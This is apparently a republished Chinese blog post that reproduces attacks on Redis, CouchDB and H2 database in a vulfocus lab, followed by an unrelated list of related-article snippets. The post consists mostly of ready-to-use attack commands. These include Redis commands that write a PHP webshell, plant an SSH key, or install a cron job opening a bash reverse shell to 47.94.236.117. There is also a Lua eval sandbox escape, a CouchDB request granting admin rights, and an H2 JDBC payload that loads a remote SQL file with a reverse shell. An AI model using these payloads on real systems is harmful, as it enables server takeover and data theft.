数据库安全(redis、couchdb、h2database)CVE复现

redis服务默认端口:6379;我们可以通过端口扫描来判断是否存在该服务。

Redis 是一套开源的使用ANSI  C 编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。 Redis 如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

复现环境:

靶场:vulfocus

 攻击机:本机window11  ip:192.168.1.3

Redis未授权访问

CNVD-2015-07557

我们启动靶场之后,首先使用工具进行连接。发现可以连接成功并且可以执行命令,说明存在未授权访问。(其实攻击方式就是基于拿到了对方执行命令的权限,我们如何攻击)

 攻击方式:

  • 如果对方服务器存在web服务,我们写webshell(需要有写的权限),利用工具连接,从而拿到服务器权限。

config set dir /tmp            #设置WEB写入目录

config set dbfilename 1.php    #设置写入文件名

set test "<?php phpinfo();?>"  #设置写入文件代码

bgsave                         #保存执行

save                           #保存执行

  •  写定时任务反弹shell,

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态。

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"

config set dbfilename x

save

  • 写入Linux ssh-key公钥
利用条件: Redis 服务使用ROOT账号启动,安全模式 protected - mode处于关闭状态且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

ssh-keygen -t rsa

cd /root/.ssh/

(echo -"\n\n"; cat id_rsa.pub; echo -"\n\n") > key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

//以上步骤在自己的攻击机器上执行

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP

 上面都是我们自己手动执行命令测试,也可以使用自动化项目,执行命令直接攻击。

项目:https://github.com/n0b0dyCN/redis-rogue-server

运行脚本之前先进入redis-rogue-server-master\RedisModulesSDK\exp目录,然后make一下,生成exp.so的文件,然后再运行python脚本

 注意:这里我们拿到的是目标服务器的命令执行权限。而上面是连接到redis的终端,仅仅可以执行redis的命令。

CNVD-2019-21763

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

利用项目:https://github.com/vulhub/redis-rogue-getshell

 CVE-2022-0543

这个连接到redis之后,我们直接执行命令。

POC:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

 

Couchdb未授权

Apache CouchDB 是一个开源数据库,专注于易用性和成为 "完全拥抱web的数据库" 。它是一个使用JSON作为存储格式, JavaScript 作为查询语言, MapReduce 和HTTP作为API的 NoSQL 数据库。应用广泛,如BBC用在其动态内容展示平台, Credit Suisse 用在其内部的商品部门的市场框架, Meebo ,用在其社交平台(web和应用程序)。在 2017 11 15 日,CVE - 2017 - 12635 和CVE - 2017 - 12636 披露利用。
默认端口: 5984

CVE-2017-12635(垂直权限绕过)

利用:
1.先创建一个用户,以PUT形式发送数据包

PUT /_users/org.couchdb.user:xiaodi HTTP/1.1

Host: 192.168.222.8:32571/

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 108

{

  "type": "user",

  "name": "test",

  "roles": ["_admin"],

  "roles": [],

  "password": "test"

}

2.登录用户授权
访问:/_utils 以上面创建的用户名和密码

CVE-2017-12636(命令执行)

该漏洞可以把终端反弹到我们的攻击机。

脚本:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

我们只需把目标地址和攻击机的地址修改即可,然后我们在攻击机监听端口;执行python脚本即可。

h2database

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

利用:

1.未授权进入。

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

直接复制上面url到JDBC URL即可进入后台,不需要用户名和密码。

 2.RCE执行反弹

h2.sql:

CREATE TABLE test (

     id INT NOT NULL

 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1   (x.x.x为攻击机的ip)

 payload(加载远程sql):

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://攻击ip:89/h2.sql';\

  1. 在攻击机创建一个文件(h2.sql)内容如上
  2. 然后监听89端口(命令:python -m http.server 89)
  3. 可以尝试访问一下该sql文件能否正常访问下载
  4. 在JDBC URL中输入payload(加载我们上面创建的sql文件)
  5. 攻击机我们新建一个终端,然后监听端口8888(nc -lvvp 8888);等待目标的终端反弹

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/782095.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Javase百问白答系列一

1 、简述 FileInputStream 类和 FileOutputStream 类的创建语法。 FileInputStream 类和 FileOutputStream 类是用来处理文件输入 /输出的类&#xff0c;创建 FileInputStream 对象的语法如下 &#xff08;其中&#xff1a;fileName表示文件的路径名称&#xff0c;可以是绝对路…

学生综合测评系统的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)

本项目包含可运行源码数据库LW&#xff0c;文末可获取本项目的所有资料。 推荐阅读100套最新项目持续更新中..... 2024年计算机毕业论文&#xff08;设计&#xff09;学生选题参考合集推荐收藏&#xff08;包含Springboot、jsp、ssmvue等技术项目合集&#xff09; 1. 系统功能…

GitHub文件克隆到本地(GitHub desktop快速上手版)

使用 GitHub Desktop 轻松地克隆 GitHub 上的项目。 打开 GitHub Desktop 应用程序。 在菜单栏中&#xff0c;单击“文件”&#xff0c;然后选择“克隆存储库”。 在弹出的窗口中&#xff0c;选择要克隆的存储库&#xff1a; 单击与要克隆的仓库位置对应的选项卡。或者&#…

简明Pytorch分布式训练 — DistributedDataParallel 实践

上一次的Pytorch单机多卡训练主要介绍了Pytorch里分布式训练的基本原理&#xff0c;DP和DDP的大致过程&#xff0c;以及二者的区别&#xff0c;并分别写了一个小样作为参考。小样毕竟还是忽略了很多细节和工程实践时的一些处理方式的。实践出真知&#xff0c;今天&#xff08;简…

记 SpringBoot 使用@RequestBody 接收不到参数

POST请求&#xff0c;前端传的参数名字跟后端规定的参数一样。但是通过RequestBody注解接收的参数始终为NULL&#xff01; //实体类中属性没有用驼峰命名 private String SubscribeID; /*** 标题*/ private String Title;解决方案&#xff1a; 1、字段上使用JsonProperty(valu…

深入理解数据结构(1):复杂度详解

文章主题&#xff1a;复杂度详解&#x1f331;所属专栏&#xff1a;深入理解数据结构&#x1f4d8;作者简介&#xff1a;更新有关深入理解数据结构知识的博主一枚&#xff0c;记录分享自己对数据结构的深入解读。&#x1f604;个人主页&#xff1a;[₽]的个人主页&#x1f525;…

面试宝典:深入剖析golang 反射在orm模型中的应用

在 Go 语言中,反射(Reflection)是一种强大的机制,它允许程序在运行时检查和修改自身的结构和行为。在 ORM(Object-Relational Mapping,对象关系映射)模型中,反射被广泛应用于将数据库中的表记录映射到 Go 语言的结构体实例,以及将结构体实例的数据持久化到数据库中。以…

【微服务】OpenFeign+Sentinel集中处理远程调用异常

文章目录 1.微服务基本环境调整1.对10004模块的application.yml调整2.启动nacos以及一个消费者两个提供者3.测试1.输入http://localhost:8848/nacos/index.html 来查看注册情况2.浏览器访问 http://localhost:81/member/nacos/consumer/get/13.结果 2.使用OpenFeign实现微服务模…

EtherCAT主站SOEM -- 22 -- Wireshark抓取并分析EtherCAT数据

EtherCAT主站SOEM -- 22 -- Wireshark抓取并分析EtherCAT数据 0 QT-SOEM视频预览及源代码下载:0.1 QT-SOEM视频预览0.2 QT-SOEM源代码下载1.Wireshark下载及安装2.Wireshark抓取EtherCAT数据2.1 我抓取的数据包3.Wireshark过滤EtherCAT数据3.1 筛选EtherCAT数据的COE数据:3.2…

C# comboBox

在C#中&#xff0c;ComboBox 是一个常用的控件&#xff0c;它允许用户从下拉列表中选择一个项目&#xff0c;或者输入自定义的文本&#xff08;取决于 ComboBox 的 DropDownStyle 属性设置&#xff09;。ComboBox 控件通常用于显示一系列固定的选项&#xff0c;让用户能够快速地…

2024年北京通信展|北京国际信息通信展览会|北京PT展

2024年北京通信展|北京国际信息通信展览会|北京PT展 2024年中国国际信息通信展览会&#xff08;PTEXPO&#xff09;&#xff0c;是由工业和信息化部主办的ICT行业盛会&#xff0c;自1990年创办以来&#xff0c;已成功举办31届&#xff0c;是反映信息通信行业发展最新成果的重要…

Mysql 常用语句及用法记录

一、mysql简介-常用命令&#xff1a; MySQL是一种关系型数据库管理系统&#xff0c;它提供了许多命令和用法来管理和操作数据库。以下是一些常用的MySQL命令及其用法&#xff1a; 1. 连接数据库&#xff1a; mysql -u username -p 用于连接到MySQL服务器&#xff0c;其中usern…

【Java数据结构】关于栈的操作出栈,压栈,中缀表达式,后缀表达式,逆波兰表达式详解

&#x1f525;个人主页&#xff1a;努力学编程’ &#x1f525;内容管理&#xff1a;java数据结构 上一篇文章我们讲过了java数据结构的链表&#xff0c;对于链表我们使用了它的一些基本操作&#xff0c;完成了扑克牌小游戏的操作&#xff0c;如果你感兴趣的话&#xff0c;点…

MATLAB 自定义均值滤波 (53)

MATLAB 自定义均值滤波 (53) 一、算法介绍二、算法实现1.原理2.代码一、算法介绍 均值滤波,是一种常见的点云平滑算法,改善原始点云的数据质量问题,MATLAB自带的工具似乎不太友好,这里提供自定义实现的点云均值滤波算法,具体效果如下所示: 均值滤波前: 均值滤波后:…

Pycharm选择使用Anaconda环境中的Pytorch 失败解决办法之一

前几日想要复现一篇论文&#xff0c;结果给配的台式机完全禁不住&#xff0c;老是报溢出&#xff0c;慢都没事&#xff0c;溢出就很难受了&#xff0c;因此想用自己笔记本的GPU来训练。 安装以后遇到一个问题&#xff1a; Anaconda里创建了环境&#xff0c;安装好了对应pytor…

RPC--远程调用

通信调用 程序A(加密) 程序B 内存共享 (本地RPC) 发送窗口信息 (本地RPC) --长度有限制 串口通讯 com口 --浏览器不开串口... 通讯管道(防止多开) (本地RPC) --对我们不可见. 网络 TCP/IP (远程RPC) --good! 浏览器(, ws) <--- 任意语言开发的软件 --任意语言控制浏览器. 注…

Linux基础知识

文章目录 一、入门命令&#xff1a;1.find 条件 要查找的文件满足的条件&#xff08;从当前目录开始查找&#xff09;&#xff1a;2.locate 文件名&#xff1a;3.lear CTRL L &#xff08;清除终端窗口&#xff09;与cat&#xff08;打印输出文件内容&#xff09;&#xff1a…

CSS3新增的语法(一)

1. CSS3 新增长度单位 rem根元素字体大小的倍数&#xff0c;只与根元素字体大小有关。vw 视口宽度的百分之多少------10vw 就是视口宽度的10% 。vh 视口高度的百分之多少 ------10vh 就是视口高度的10% 。vmax 视口宽高中大的那个的百分之多少。&#xff08;了解即可&#xff…

[TS面试]TS中使用Union Types时注意事项?

TS中使用Union Types时注意事项? 属性和方法的访问? 只能访问共有属性或方法 function getLength(something: string | number):number{return something.length // wrong, 因为number 类型时候没有 .length }function getString(something: string | number):string{retur…

网络性能提升10%,ZStack Edge 云原生超融合基于第四代英特尔®至强®可扩展处理器解决方案发布

随着业务模式的逐渐转变、业务架构逐渐变得复杂&#xff0c;同时容器技术的兴起和逐渐成熟&#xff0c;使得Kubernetes、微服务等新潮技术逐步应用于业务应用系统上。 为了充分释放性能、为业务系统提供更高效的运行环境&#xff0c;ZStack Edge 云原生超融合采用了第四代英特尔…